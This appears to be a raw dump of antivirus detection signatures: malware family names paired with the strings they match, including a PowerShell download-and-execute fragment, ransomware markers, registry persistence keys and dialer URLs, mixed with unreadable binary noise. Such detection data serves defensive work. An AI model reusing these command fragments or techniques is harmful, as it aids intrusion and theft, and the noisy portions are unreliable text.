\">https%://businessonline%.o2%.co%.uk/ W<a href%=\"https%://businessonline%.o2%.co%.uk/.-\">https%://businessonline%.o2%.co%.uk/ 101788a8cf2f6 moffset fileStrAddr  stroffset  current_byte  
43b3fd68e1f5 55b3667e6849 55b3667e6849IncludesResearchData \\syncappvpublishingserver.exe T1490 inhibit_system_recovery !#Lua:PEEmbeddedAfterPng  This program cannot be run in DOS 
mode 'This program cannot be run in DOS mode Lua:PEEmbeddedAfterPng !#Lua:JSxx2a !#Lua:JSxx2aObMpAttributes [JSxx2a] \t[JSxx2a] 25b39d421697 \\microsoftedge \\sophos\\ \t\\sophos\\ 
\\application\\browser.exe 55b3e2fb1e02 \tHEF@  63b30f699c20  !#TEL:LuaZipBombHeur.A   65b312582b69  65b39fdb7bba  65b3c7d7caef  65b3cb1f034c )oVMv fRX} > 8EjSA jy\"a]>X u=\\*m \\f!A\t 
*;q:|/Z `qTxT ~[dth >zDrZ 3swg8 HIj8b ;.}NN ^ur'?k ]sD*k 4EM$, MiQr_g  a_[pzm^& /_`xU KQ>9d #E-z\" Pc7IQ VAw[C kZL8f az~cx V+ARlw xa4Wh p-}I0]$ i*1#%l ikOPMU l77on :qO{2 MV=e{ +kB/6 
`QoL! !Om%^ s`E?D  I [&pO%8O A99 t :AK,-  (v0m !Bw6]T|F 0npM!+ 5d~X  z)# ,u ;gN = `1 `B iLF*P0-: 8\"Gz&=2  YqbA 2BU4X $R6wY '3Rt/ .Rr>jL iD|le }HD-\t bw?K- $TWwR 3Zd`[J 'nQ=z %GGw> ?>-
KJ v+`X- F__\\} \tSBE,0/N @q+09 1P@]%~ 7tP%D ,A*wEG1 ?AVpc_mac_keyboard_file@@ ?AVpc_mac_terminal_manage@@ ?AVpc_mac_record_file@@ ?AVpc_mac_info@@ ?
AVpc_mac_screen_file@@ ?AVpc_mac_download_file@@ ?AVpc_mac_online_info@@ ?AVpc_mac_feedback_log@@ ?AVpc_mac_feedback_log@@x !#HSTR:Win64/Dridex.MU!MTB  
\"securityPDpanther phitsEJason HWindows-only53jackassremainsblogitsX  andYEarethorough $Minorfail)2uZasRcG 8KitsfromkisalsoEconomictheOS >decembersupport.29ChromiumA2015 
:Ebeblogoreceivingad-blockinge ppmm365.pdb DecryptFileW GetSecurityDescriptorSaclx Form_change_password_FormClosed Warehouse_Management_System.Form_change_password.resources 
Warehouse_Management_System.Form_log_in.resources Warehouse_Management_System.Form_new_kind.resources Warehouse_Management_System.Form_new_material.resources 
Warehouse_Management_System.Form_new_worker.resources Warehouse_Management_System.Form_search.resources Warehouse_Management_System.Form_take_out.resources 
Warehouse_Management_System.Form_worker.resources Warehouse_Management_System.Main_Form.resources Warehouse_Management_System.Resources.resources 
CheckForSyncLockOnValueType ShutdownEventHandlerx !#ALFPER:Trojan:Win32/RofotRaw.A!dha fgrefgt=%s_%s_%s_%s_%s 2014-05-17 16:56:52 
8180e320ee4090e41511836678e49a98c0b228e8 /rosemarie/mckenzie/ \\PrvicNativeRpcCliente.txt \\Secombe.txt \\PresentationKeyService.txt String is not valid length ... MEMORY_ALLOCATED\t 
\"%d\"  Content-Type: multipart/form-data; boundary=---------------------------RXZpbF9CRDZOVHMSeV8k -----------------------------RXZpbF9CRDZOVHMSeV8k \\ManagmentServiceImplements 
\\GraphicsRemoteEngine InspectorOfficeGadget ClientEventLogMessages \\ReMe.txt hero= Con Error /c mkdir \"\" ModelsControllerLib %s-- luna= %Y%m%d-%I-%M-%S Galdot Galdotx 
!#ALF:HackTool:Win32/PSPegTool.B!dha  !#ALF:HackTool:Win32/PSPegTool.B!dha AbusePreventionRulesConfig.xml TacticalDomains RedirectUrl TacticalLink InstallationLink Pegasus 
PS.agentsmith  PS.TacticalSetup. PS.Exfiltration PS.BL.Aspects PS.CloudCommunication PS.Component.App PS.Configuration PS.Core.Impl PS.DataMigration PS.ExportData. PS.HttpSender 
PS.Installation.Python PS.LocationGrouping PS.LogicalStateFinalizer PS.Metrics.Prometheus PS.OpenPegasus. PS.ProtectionInitializer. PS.ServiceFacade PS.SourceData PS.StormSource. 
PS.Tactical PS.UI.Notification. PS.UI.WebApi. ST.SmsProvidersTester ST.Gsm.SmsLib ST.Core.Impl ST.Core.Implx LMS_DB_Project.Form1.resources Main_Library.Card.resources 
Library_Main.Detail.resources Main_Library.AdminMain.resources Main_Library.BorrowReturn.resources Library_Main.Member.resources Main_Library.Reader.resources 
Library_Main.Manager.resources LMS_DB_Project.AddBorrower.resources Main_Library.Properties.Resources.resources Main_Library.sdefsdfsdfsfs.resources 
LMS_DB_Project.Search_Books.resources LMS_DB_Project.Book_Loans.resources Main_Library.Insert.resources Library_Main.Library.resources &http://i.imgur.com/ 
!#SLFPER:Trojan:Win32/FatDuke.B!dha  e0c0d8898ad68725161f428fc81bda249e34949d575 3c0e06206a079b91b222e8b10c9f9330618eb42e4f517973724ea483ca ogram Files\\Canon\\Network 
ScanGear\\Canocpc.dll 0be7dfa5 7dc931827 0ffbea9d84d353e5 3179aae ,\" \"%s %s%s%s%s%s%s \"\"%s%s%s\\ ,\" \"%s%s%s%s%s%s%s !#ALF:Ransom:Win64/NetWalker!MTB 
Wow64DisableWow64FsRedirection Wow64RevertWow64FsRedirection NtMapViewOfSection RtlCreateUserThread IEX (New-Object Net)Webclient))DownloadString( powershell -nop -exec bypass -
EncodedCommand I'm already in SMB mode CreateFileMappingA PeekNamedPipe ImpersonateNamedPipeClient CreateProcessAsUserA CreateProcessWithLogonW CreateProcessWithTokenW 
RegOpenCurrentUse CryptGenRandom beacon ReflectiveLoader ReflectiveLoaderx Agent  ,data/boyFirstNames.txt .data/girlFirstNames.txt $data/lastNames.txt ,MatrixEditor.Resources WebRequest 
ASDadADadAD (data/worldcities.csv Reset Matrices Vhttp://www.distance24.org/route.json?stops= $data/codenames.txt MatrixEditor.My.Resources MatrixEditor.Form1.resources 
MatrixEditor.Resources.resources MatrixEditor.AddMatrix.resources MatrixEditor.EditMatrix.resources MatrixEditor.EditMatrix.resourcesx !#App:CoinMiner32:EasyMiner [YES] if you wish to learn more 
and see how to disable virtual networkws adapters wich are incomaptible with Easyminer. w[YES] if you wish to learn more and see how to disable virtual networkws adapters wich are incomaptible with 
Easyminer. [EASY MINING] Easy Mining failed senddata because found  blockshares where to small! Easyminer succesfully retrieved your newly generated coin adress @Easyminer succesfully 
retrieved your newly generated coin adress [EASY MINING] Easy Mining senddataonstart syn succes stream! <[EASY MINING] Easy Mining senddataonstart syn succes stream! could loose your 
Wallet! Backup your LTC Adress(+private key),email and easyminer folder somewhere safe gcould loose your Wallet! Backup your LTC Adress(+private key),email and easyminer folder somewhere 
safe A critical update is available for Easy Miner ! /A critical update is available for Easy Miner ! Nag Screen - Easy Miner running for : %Nag Screen - Easy Miner running for : Easy Mining was not able 
to determine whether your computer is using a Nvidia GeForce or AMD Radeon based video card. uEasy Mining was not able to determine whether your computer is using a Nvidia GeForce or AMD 
Radeon based video card.x !#HSTR:Trojan:MSIL/AgentTesla.SJ1!MTB GetDomain set_FileExtension RemoveFileExtension Joc_de_cartes.My.Resources Joc_de_cartes.Form1.resources 
Joc_de_cartes.dlg_Replace.resources Joc_de_cartes.dlg_TextString.resources Joc_de_cartes.frm_TextBlock.resources Joc_de_cartes.dlg_FindInfo.resources Joc_de_cartes.Form_stop.resources 
Joc_de_cartes.frm_WebBrowser.resources Joc_de_cartes.Resources.resources Joc_de_cartes.AudioBooks.resources Joc_de_cartes.PrintBooks.resources Joc_de_cartes.frm_PhotoOrbit.resources 
Joc_de_cartes.ShoppingCart.resources GpsImgDir FileCopy get_Directory CreateDirectoryx !#HSTR:Win32/Softcnapp.EXE!MTB '!#HSTR:Win32/Softcnapp.EXE!MTB Install.exe FSoftSvr.exe 
SoftUpdate.exe Fefficacy.exe MgUtility.exe MgUpd.exe MgConfig.exe MgMem.exe MgScreenMgr.exe MgWall.exe MgPlugin.exe SkyPic.exe Puenrecy.exe PicViewer.exe Trigidai.exe Secaler.exe 
Mraterng.exe WnPdfhshMin.exe WpTolhsj.exe SvWpHost.exe WpPow.exe WanPicService.exe WppdfSep.exe WanPicPower.exe MoWnpdfhsh.exe WnUserPage.exe WnSkinInst.exe WnMoniter.exe 
WnTool.exe WnConfig.exe WnWizard.exe WnUpd.exe WnUtility.exe Accurate64.exe Svccen.exe MainV.exe WnUninst.exe !#HSTR:FileTour.A1 /notificate.php \\*.lnk 4 \\Quick Launch\\User Pinned\\ 
Opera Chrome Safari Avant Amaya Arora Leechcraft Links Lunascape K-Meleon Konqueror Mosaic Maxthon Midori Mozilla Netscape RockMelt SeaMonkey YaBrowser Amigo &systemBrowser= 
&osBuild= getMacAddresses &productType= &osType= &systemUname= &systemLangid= !#HSTR:Win32/DownloadAdmin .build/shared_library.dll]] res/knockout.js]] Efficient Tomorrow Install4 
InternalNamesetup.exe Modern New Installer4 Positive Tested Install System4 Meticulous Superior Install4 Supersonic Smooth Software Installer4 !#HSTR:Tracur_AntiEmu =+o#ou3) \thdLL 
\thdLLhame.hiefrT !#ALFPER:Trojan:MSIL/FoggyWeb.A!dha profile.webp ackground.webp ogo.webp GETE/adfs/por al/images/theme/li ht01/ \tPOSTU/adfs/s rvices/trust/2005 samlmixed/u pload 
GetAssemblyByName AssemblyNa GetAssemblyByNameAssemblyNa ExecuteAssemblyRoutin enameGetFrameExecuteAssemblyRoutin certificateType O<X509Cert ficate>(.*) /X509Certifi cate> 
K<Signatur Value>(.*)</SignatureV !#HSTR:VirTool:Win32/Obfuscator.ADB!EP !#TEL:Ransom:Win32/RagnarLocker.A -list -force -vmback -backup -share_network SeRestorePrivilege 
SeTakeOwnershipPrivilege \\\\.\\PHYSICALDRIVE%d ---END KEY R_R--- ---BEGIN KEY R_R--- ---RAGNAR SECRET--- Wow64EnableWow64FsRedirection Windows.old Tor browser Google Opera 
Software Mozilla Firefox $Recycle.Bin ProgramData All Users Sysvol .exex !#ALFPER:Trojan:Win32/Emaster.X!dha  $Id: thread.c 14674  010-12-07 14:53:02Z gilg $ sanity check: invalid parameter   in 
function call sanity check: licence error secure connection failed invalid credentials no data was received too long data for this type of transport invalid network buffer received socket error access 
violation not enough server resources to complete operation execution has been canceled timeout condition has been occured inside call of function function unsupported error has been suddenly 
occured $Id: t_status.c 14478 201 -11-27 12:41:22Z gilg $ %s: (0x%08x) %s: (%u) %s %s: (%d) !#HSTR:TrojanProxy:Win32/Ditsolay.A2 
CD19BA67EE56F4568FDD69EB77A85EE5638ABD284F8BB2588FCB09499CAA2DD2043 026DEE13B21A389B35A7B61944F721A026CF07519633DA0057F361E10717B95F904 
42AD2FD37DC465E678E272E27EB167EE688D41AF30AC5E86C10A4594EE27A051F72 B72C4BFC429B4B86D3060E4E 9FC323D47AD3035E8BD15AFA 5E993BEF6BE0074A87C06DD91636DE 
8DF66999CF0E32A63FA5459E B7C0043E98EB18B72AA54F9DD765 86DA79AD26BC7390CE74 D279EC27AB2BDE7B9D38E861E11A0EB60635D9 A725AA56FD6D9E20B12E140F45EB26A9 
E361E60A49984A8DC61B011AB0578D31 8FC519CB76D50B474187BB12B26DDD0B 64E1678AC919CA0C459D8790C66DA72B 963495BC1A49FA5CF56AD0CB0226DC60 
4B89C06BE5107C9AFD 6EEC6496CE392B6BAE DD3853C8 120C0704 120C0704x !#HSTR:Trojan:MSIL/AgentTesla.SM!MTB GameFAQs_Reader.My.Resources 
GameFAQs_Reader.Form1.resources GameFAQs_Reader.HelpBox1.resources GameFAQs_Reader.AboutBox1.resources GameFAQs_Reader.FormAdvanced.resources 
GameFAQs_Reader.Display_Message.resources GameFAQs_Reader.Main_Screen.resources GameFAQs_Reader.QC_createQuoteFolder.resources 
GameFAQs_Reader.QC_createVendorFolder.resources GameFAQs_Reader.QC_createPOfolder.resources GameFAQs_Reader.FrmStudyNotifier.resources 
GameFAQs_Reader.frmRenamer.resources GameFAQs_Reader.QC_createCustomer.resources GameFAQs_Reader.QC_createVendor.resources GameFAQs_Reader.Resources.resources 
GameFAQs_Reader.QC_mainMenu.resources GameFAQs_Reader.QC_mainMenu.resourcesx !#ALF:HSTR:PageMonitoring.S001 \\system32\\reslan\\csrss.exe \\system32\\systsk\\age.exe 
AA6A1386E5B950C61558C9AA391E277FD9056FEFFDBEAD14BC260DD704E7C8D4 5C5FF67D2C6C8AE19061 A547EC5A650A8FFB3F49 5C9F47BA8C4C8E248715 pvah815a9g8l 
8o0983o083on lhqw5wg34j2c 1ov00rba3i6f sn1b9xo4n839 557x64p15yu8 4ai474qv4t1f 9o3lmm89i3i4 175soc8523f5 8e54f7985gq6 oo89696pm9s4 50r4b1dy3go0 x2rj262b6695x 
!#ALFPER:Trojan:Win32/HyperStack.A!dha (M&M1M-M&M MpMqMmM'M/M/M M&M7M M6M/M&M M*M/M&M M\"M.M&M M,M3M:M \"M'M5M\"M3M M1M&M\"M7M&M M&M1M5M*M M&M 
M:M0M7M&M.M M,M,M7M REMOTE_NS: RROR:%d REMOTE:E RROR:%dREMOTE:E ROR:%d ERROR:%d ROR:%dERROR:%d UP:SUCCE FILE:ZERO S:%sFILE:ZERO LENGTH 
ACTION:UNSU PORTED PORTEDSystemRoo SilentMo nType\\\\% \\ipc$ ERROR: UP:SUCCESS dUP:SUCCESS ?Servic .exe?Servic CtrlHandler@@YGKKKPAX0@Z ?ServiceMain@@YAXKP 
CtrlHandler@@YGKKKPAX0@Z?ServiceMain@@YAXKP PA_W@Z !#TrojanSpy:Win32/Bancos.gen!K_7 n#u#R n#u@R n#u*R n#u%R n@u#R n@u@R n@u*R n@u%R n*u#R n*u@R n*u*R 
n*u%R  6c78d66536eb  6c78e0f0ea87  6c78f2c20c8f  6d7878b1969e  6d78971f3775  6d78ac405b02  6d78e6da2649  6d78fef8d7d3  6e6103761e05  6e7889bf5a53  6e78939b1691  6e78de9be4c3  
6f615a57cc71  6f61f31b6a46  6f783c86f8ba  6f7859c16db9  6f78af442382  70785bbf511a  7078c7535ad5  71618e83bedb  7161f8efe2ac  71789e6ba8a8   7278196454ee  72786c1f4664  
72789a9a989e  73780c09f1a4  73780cb9eac2  73783a5ad497  73786f2c2247  737875d5dd31  73789617d3db  7378d84aadb4  74781c504347  747843511917  7478fbbbd402  75400040b0ee  
75617c42acba  75782ed5945d  7578483a0ae1  757864ee8cf1  7578c079629b  7578ea2e6430  76780537b996  767896145592  76789bc55488  7678bf97f611  7678e4e2f15f  7678f1120577  
7761b5237a11  7778d5d69d99  7878055105e7  787828bad3b4  7878883a4aef  78789306b093  7878a8467461  7878ae27f0b7  7878db19be8e  796175970732  79784d2c0786  797863762afc  
79786c32700a  797871bfdf23  797882c54db5  7a784f2021d6  7a78f734b372  7b78ab3beaf7  7b78cfbef4ee  7c61e3a332c0  7c78064b7146  7c784489dd95  7c787485693d  7c788e5c1cde  
7c78adc919f9  7c78bcb75cf8   7c78d77cc703 : Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Bar888 Bar888.dll and click YES to continue uninstallation. Uninstallation aborted. 
SystemBiosDate_ \\svchosts.exe_ %\\svchosts.exe_ \\unsvchosts.exe` \\toolbar888`0 \\common files\\{304f0413-0a8c-2052-0814-030001}`0 \\common files\\{504f0413-0a8c-2052-0814-030001}c 
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SystemBiosDate_ \\svchosts.exe_ %\\svchosts.exe_ \\unsvchosts.exe` \\toolbar888`0 \\common files\\{304f0413-0a8c-2052-0814-030001}`0 \\common files\\{504f0413-0a8c-2052-0814-030001}c 
%\\unsvchosts.exe` &\\toolbar888`0&\\common files\\{304f0413-0a8c-2052-0814-030001}`0&\\common files\\{504f0413-0a8c-2052-0814-030001}c Software\\MyToolBar Software\\MyToolBarc- 
Software\\Classes\\MyToolBar.MyToolBarObj 'Software\\Classes\\MyToolBar.MyToolBarObjc/ Software\\Classes\\MyToolBar.MyToolBarObj.1 )Software\\Classes\\MyToolBar.MyToolBarObj.1cD 
Software\\microsoft\\windows\\currentversion\\uninstall\\ToolBar888 >Software\\microsoft\\windows\\currentversion\\uninstall\\ToolBar888cf SOFTWARE\\Microsoft\\Code Store Database\\Distribution 
Units\\{00000000-0000-0000-0000-100005000004} `SOFTWARE\\Microsoft\\Code Store Database\\Distribution Units\\{00000000-0000-0000-0000-100005000004}cr 
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{cfe9e8a8-38c0-4ef8-aec2-5035efe81030} 
lSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks\\\\{cfe9e8a8-38c0-4ef8-aec2-5035efe81030}q \\toolbar888\\activate.exeq &\\toolbar888\\activate.exeq 
\\toolbar888\\mytoolbar.dllq; \\common files\\{382d5d71-0957-1033-0729-050001}\\uninst.exeq; \\common files\\{782d5d71-0957-1033-0729-050001}\\update.exeq; \\common files\\{dcceb19b-0700-
1033-0814-030001}\\update.exeq= \\common files\\{382d5d71-0957-1033-0729-050001}\\activate.exeq= \\common files\\{782d5d71-0957-1033-0729-050001}\\services.dllq> \\common files\\
{382d5d71-0957-1033-0729-050001}\\mytoolbar.dll] &\\toolbar888\\mytoolbar.dllq;&\\common files\\{382d5d71-0957-1033-0729-050001}\\uninst.exeq;&\\common files\\{782d5d71-0957-1033-0729-
050001}\\update.exeq;&\\common files\\{dcceb19b-0700-1033-0814-030001}\\update.exeq=&\\common files\\{382d5d71-0957-1033-0729-050001}\\activate.exeq=&\\common files\\{782d5d71-0957-
1033-0729-050001}\\services.dllq>&\\common files\\{382d5d71-0957-1033-0729-050001}\\mytoolbar.dll] BrowserModifier:Win32/Forethought  !BrowserModifier:Win32/Forethought Cgxp  
Software\\microsoft\\windows\\currentversion\\uninstall\\treewood <Software\\microsoft\\windows\\currentversion\\uninstall\\treewood] !Multi.TVSK @ !Berbew CRYPTKEY CRYPTEND 
,\\device\\physicalmemory %FindNextFileA %FindNextFileAU %FindNextFileW %FindNextFileWU MonitoringTool:Win32/AllInOneKeylogger &MonitoringTool:Win32/AllInOneKeylogger =Gc9NR \\all in 
one.lnk_: \\microsoft\\internet explorer\\quick launch\\all in one.lnk` \\relytec` \\enihcamtaogcV &\\enihcamtaogcV Software\\microsoft\\windows\\currentversion\\uninstall\\All In One Keylogger 2.7_is1 
PSoftware\\microsoft\\windows\\currentversion\\uninstall\\All In One Keylogger 2.7_is1q \\enihcamtaog\\csrss.exe] &\\enihcamtaog\\csrss.exe] !CarpeDiem ipwatchwinshoenolog 
SoftWare\\CarpeDiemVars\\Kit\\ dialup.carpediem. perl/countdialupinter.pl?name= perl/countdialupinter.pl?name=x RasDialEvent CDUpdater.exe C:\\Montorgueil\\ 
http://dialup.carpediem.fr/perl/dialup.pl http://dialup.carpediem.fr/perl/countdialupinter.pl? http://dialup.carpediem.fr/perl/countdialupinter.pl?x uiDialModemGetPingEvent dialup.pl 
http://adsl.carpediem.fr/perl/invoc_oneway.pl? CD_Dialer \\montorgueil` &\\montorgueil` \\programs\\hot dialerc Software\\Montorgueil Software\\Montorgueil] !VB.EW !VB.H \t9g`v# !VB.I !Small.AWV 
MonitoringTool:Win32/Softcows \\chatlogs.dll_ $\\chatlogs.dll_ \\activity keylogger.lnk` \\activity keylogger` \\activity keyloggerc! &\\activity keyloggerc! Software\\Activity Keylogger Software\\Activity 
Keylogger] !Lowzones.BZ !Lowzones.BZ\t@ !Zapchast !ZapchastU@ zo'q) [\"*~@ $|S0 r  QA(Ng { QA(Ng g&-`Z 32evW SYSTEM\\CurrentControlSet\\Services\\Wlan1934 
*SYSTEM\\CurrentControlSet\\Services\\Wlan1934] Software\\Classes\\SeAd.Ad Software\\Classes\\SeAd.Adc  Software\\Classes\\SeAd.Ad.1 Software\\Classes\\SeAd.Ad.1] !Lager !Lowzones.A 
Program:Win32/Yazzle.B !VB.NH ,Explorer\\Shell Folders `tiwlbnapgjsp4qyzsylldu3ylv4rnvcr2wejder4py9rvmdc \\MsVersion.exe Tupdate regRun JxI\\p !Compidere Software\\AdwareDisableKey3 
Software\\AdwareDisableKey3c  Software\\AdwareDisableKey3] !Sinowal.D !Brunme.A ~HbC@ \\winbrume.datc %\\winbrume.datc Software\\DBZBHO Software\\DBZBHOc Software\\ZEROSOFT 
Software\\ZEROSOFT] D\\,!D Program:Win32/Yazzle.A gJdoJ !BK\t@ Software\\Classes\\Da.Bomb Software\\Classes\\Da.Bombc  Software\\Classes\\Da.Bomb.1 Software\\Classes\\Da.Bomb.1c! 
Software\\Classes\\Crypt.Core Software\\Classes\\Crypt.Corec# Software\\Classes\\Crypt.Core.1 Software\\Classes\\Crypt.Core.1c# Software\\Classes\\ONONE.Theimp 
Software\\Classes\\ONONE.Theimpc% Software\\Classes\\ONONE.Theimp.1 Software\\Classes\\ONONE.Theimp.1] \"D\\:#D BrowserModifier:Win32/Searchingbooth  
$BrowserModifier:Win32/Searchingbooth Iog&@K #D\\8'D BrowserModifier:Win32/Hijacker.E   BrowserModifier:Win32/Hijacker.E  ID2D`\t \\pshopec  ID2D`\t&\\pshopec Software\\PSHope 
Software\\PSHopeq \\pshope\\pshope.exeq &\\pshope\\pshope.exeq \\pshope\\uninstall.exe] &\\pshope\\uninstall.exe] !QUrl @ 2),gG 4D\\'7D !EICAR_Test_File  Q5.c] @D\\(CD !Searchclickads 
Software\\microsoft\\windows\\currentversion\\uninstall\\OvMon 9Software\\microsoft\\windows\\currentversion\\uninstall\\OvMoncB SYSTEM\\CurrentControlSet\\Services\\Windows Overlay 
Components <SYSTEM\\CurrentControlSet\\Services\\Windows Overlay Componentsq \\pscastor\\pscastor.exe] &\\pscastor\\pscastor.exe] $8t O ED\\ GD 1FnDialer attern not found! Function not 
found! fnDialerDll attern not found!Function not found!InfofnDialerDll] !Dialui DialUI Would you like to reconnect to the internet? Time limit reached.  You are now being disconnected We hope you've 
enjoyed the games! software\\microsoft\\windows\\currentversion\\wintrust\\trust providers\\software publishing\\trust database\\0 update.php  [%d%s/min] reconn_url http://127.0.0.1:20202/remind.html 
AOL_Frame25 AOL_Frame25] !Axis.B iexplore.exe http:// @mmprs premium /file.exe /file.exe] JD\\\"KD !WebDialler ,0-^i playground.com BADxTICKETxSTATUS DialerIconEvent 64.159.91.193 
Obtained fresh ticket:  SOFTWARE\\WebDialler teenpussy.andlotsmore.com n6ddlaappmutex n6ddlaappmutexx %02d:%02d:%02d, %c%02d.%02d per min AOL Dial-On-Demand feature 
membersplayground.com/ SOFTWARE\\SimpleDeliveryVehicle SOFTWARE\\SimpleDeliveryVehiclex Bei Benutzung dieser Software wird Ihr Modem eine 0190 (Deutschland), BTV Industries 
SOFTWARE\\DiallerProgram\\%s che erhebt und es mit seiner Genehmigung geschieht, wenn er durch den che erhebt und es mit seiner Genehmigung geschieht, wenn er durch denx RasDial 
DIDIpremiumdp_@mmprs 058343 DIDI114058343 http://community.derbiz.com/ andlotsmore.com surfya.com  http://www.mypaymate.com/dialerplatform/tmp.htm 194.67.87.33 222.2.111.55 
ASDPLUGIN ASDPLUGIN] KD\\&LD !Trafficadvance .trafficadvance.net  ad Internet )\\Microsoft\\Internet Explorer\\Quick Launch RCF.%hd.%hd|MoD.%hd RCF.%hd.%hd|MoD.%hda 
DSoftware\\Microsoft\\SystemCertificates\\TrustedPublisher\\Certificates  RASApi32.dll ASOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones AccessMySQL. \t&Recupera 
\t&Recuperax trafficadvance.net Connessione terminata, riconnettersi? dial709 NWDialerMini NETVISION dcikpcfhalmblomhkcfcebnnefiledge anjpbmbpjjaghgmoncmmkfhmmmd 
goicfboogidikkejccmclpieicihhlpo ahkdca Passe-partout Pronostici PronosticixI Recupera TempoEntra SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones Non ci sono modem 
configurati nel sistema. http://www.3000.ws/  Disinstalla.lnk No modem has taken shape in this system. No modem has taken shape in this system.] !Rapido Gracias por utilizar los servicios de acceso 
.accesorapido.com  por minuto. Tiempo aprox. restante: %dm %ds Tiempo aprox. restante: %dm %ds] MD\\!PD !Colecto AtlMon.ReusableComp.5 AtlMon.ReusableComp.5c AtlMon.ReusableComp.7 
AtlMon.ReusableComp.7] PD\\!QD !DlStwoyle {B5959C25-CBBD-4dcc-8C98-DA25EBB3D89F} &dtype=%s&dname=%s&phone=%s q%d_disk.dll acc%d &tmmin=%d &tmmin=%d] !Adialer !Adialer%@ 
dialer-pl-temp\\dial-intelli-v \\kol.pas Internet Sexplorer  S E X P L O R E R SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run -SOFTWARE\\Microsoft\\Windows\\Currentversion\\Run /min z vat. 
Nazwa operatora podana jest poni ,/min z vat. Nazwa operatora podana jest ponix 
lKa3GYT3jydNhXwixyxi4Xdi8Bm0GNl6qYCibrLP5OQXY8FAJSie/viNtJmkw10Qq1wNMst/EyFeKkaUhKeZqgOdLtJUaEmubqkyhWRB 
lLytujakGNW58PaCJ5hc+d/YrhcTVRGpe2gxIDuYJkPRIUcOhGCCSBEgmKOojsxB9lDpC1kcv1Ic8A== lJygpruDLj57lvzH5DU5V722qy+Koe5Qj6cYifYoljTFww== 
lJygpruDLj57lvzH5DU5V722qy+Koe5Qj6cYifYoljTFww==x &site= &country= ?webmaster= Dial error! Code: %d! if exist \"%s\" goto Loop UninstallDialer... %02d.%02d.%04d %02d:%02d:%02d 
C:\\WINDOWS\\Coder\\coder.log Restart... HangUp :\\TEMP\\ kernel32::ReadFile( kgjqaucmcaoasj dwjxgabcxwfsl vbgvklozwrg vpimqgwobs vqtkzjafquzjyf vqtkzjafquzjyfx 
!#HSTR:MSIL/Tnega.RRH1307!MTB p%ow%er%sh%el%l What the fuck!x !#TEL:Trojan:Win32/Zbot.RM!MTB T(Proxy server) _T(Port:) _T(User:) _T(Password:) Gatekeeper Gatekeeperx 
!#HSTR:Trojan:MSIL/AgentTesla.OXAV!MTB k !#ALF:Worm:Win32/Dridex.VT!MTB \t!#ALF:Worm:Win32/Dridex.VT!MTB HWND_UserSize GetSystemPowerStatus WTSEnumerateProcessesW 
WTSRegisterSessionNotification WTSShutdownSystem WTSWaitSystemEvent WTSWaitSystemEventx !#TEL:Trojan:Win32/Kovter_Decrypt !#ALF:HackTool:Win32/Blackmailer 
SOFTWARE\\BlackMailer BlackMailer\\license.dat Do not use this tool for spamming! CompanyNameBlackMailerx !#Lowfi:TrojanDownloader:Win32/Eyooun :niuniu _wangju_union_ad_server 
Download>>>[ wj.center. .info cleandata.yac.mx/Yacapi/returnExec SYSTEM\\CurrentControlSet\\services\\iSafeService \\Build\\isafe\\branches\\ \\bin\\iSvc.pdb !#Lowfi:HSTR:BProtect:AvgIEToolbar 
toolbar.dll - ProcessInstallPreference - SetNewTab CRegistryGuard::GetRegistryKeyValue AVG Secure Searchx Paint1.CustomColorDialog.resources Paint1.Form1.resources PaintIt.Main.resources 
PaintIt.Properties.Resources.resources PaintIt.ScreenOverlay.resources !#HSTR:Trojan:MSIL/AgentTesla.OXGO!MTB    WinMarketDataRetriver get_SADXHIJU get_MainDomains ssssc 
WinMarketDataRetriver.MDXs !#ALF:HSTR:Ransom:MSIL/LockScreen.H Customer Service  1-844-459-8882 Customer support    !#HSTR:Win32/Obfuscator.WriteProcessMemoryNamePatch.A 
\t!#HSTR:Win32/Obfuscator.WriteProcessMemoryNamePatch.A riteProcessMemory riteProcessMemoryx !#ALF:Trojan:Win32/QbotCrypt.B!MTB !#ALF:Hacktool:Win32/Cuckcu.A!dha 34544b98-a943-
4f7b-b818-74eddbb8b705 \\ccu\\ccu\\ccu\\  \\encrption program\\ EncryptFile: This program isn't allowed here 5AA95D22 \\Error.txtx !#ALF:HSTR:Crossrider_Installer6 autoenablechrome is defined. 
BundledChrome autoenablechrome is defined.BundledChrome - Writing the extension to Chrome's policy. Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist - Writing the extension to 
Chrome's policy.Software\\Policies\\Google\\Chrome\\ExtensionInstallForcelist InsertChromeExtensionToChromePreferencesFile crossriderapp crossriderappx !#ALF:Trojan:Win64/Frooty.A!dha 
\\GlooxSounds \\chat_request.wav \\incoming.wav today20040917~~ HmM, We can't rEach tHIs pAgE This list describeS the TWO forMs. Hi, Give me your new phone NO. Hi, Give me your new 
phone NO.x !#HSTR:Trojan:Win32/Tnega.PAB!MTB lohukiwazitasixubalicacefome fodaxe hifisudefiziyigalejajarinekaham gokatunimefop liwiwirarup vofovocadicupupelirujifayas 
bitenipuselucimixofeyolujuc gukagigu vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigux !#TEL:HackTool:Win32/Fingerprint.A!dha Cannot bind to LDAP://root ProcessInfo KB[0-9]{6}$ 
DetectAntivirus: \\SecurityCenter2 Path AntiSpywareProduct Get /format:htablex !#SLFPER:Trojan:Win32/ShortWick.B!dha ff7172d9c888b7a88a7d77372112d772 
ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d /ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d ACTION=PREVPAGE&CODE=C%s&RES=%d 
ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d (ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%dx !#HSTR:MSIL/Packer.NativeCall.A NtResumeThread 
!#Adware:Win32/SideOn  sideon.co.kr/ .co.kr/ex.dat except.dat ex.dat this%sraison setting.dat %s\\%s\\ setting.dat%s\\%s\\ retarget urlretarget urlex delurlex WinPro.ini WinPro.dll /th0.asp?k=%s&id 
/except.dat Winkey.ini [keywordsex]x !#ALF:Trojan:Win32/StartPage.SH!MTB Run Game.exe.bat1 219 reg delete \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /V \"START PAGE\" /f i reg ADD 
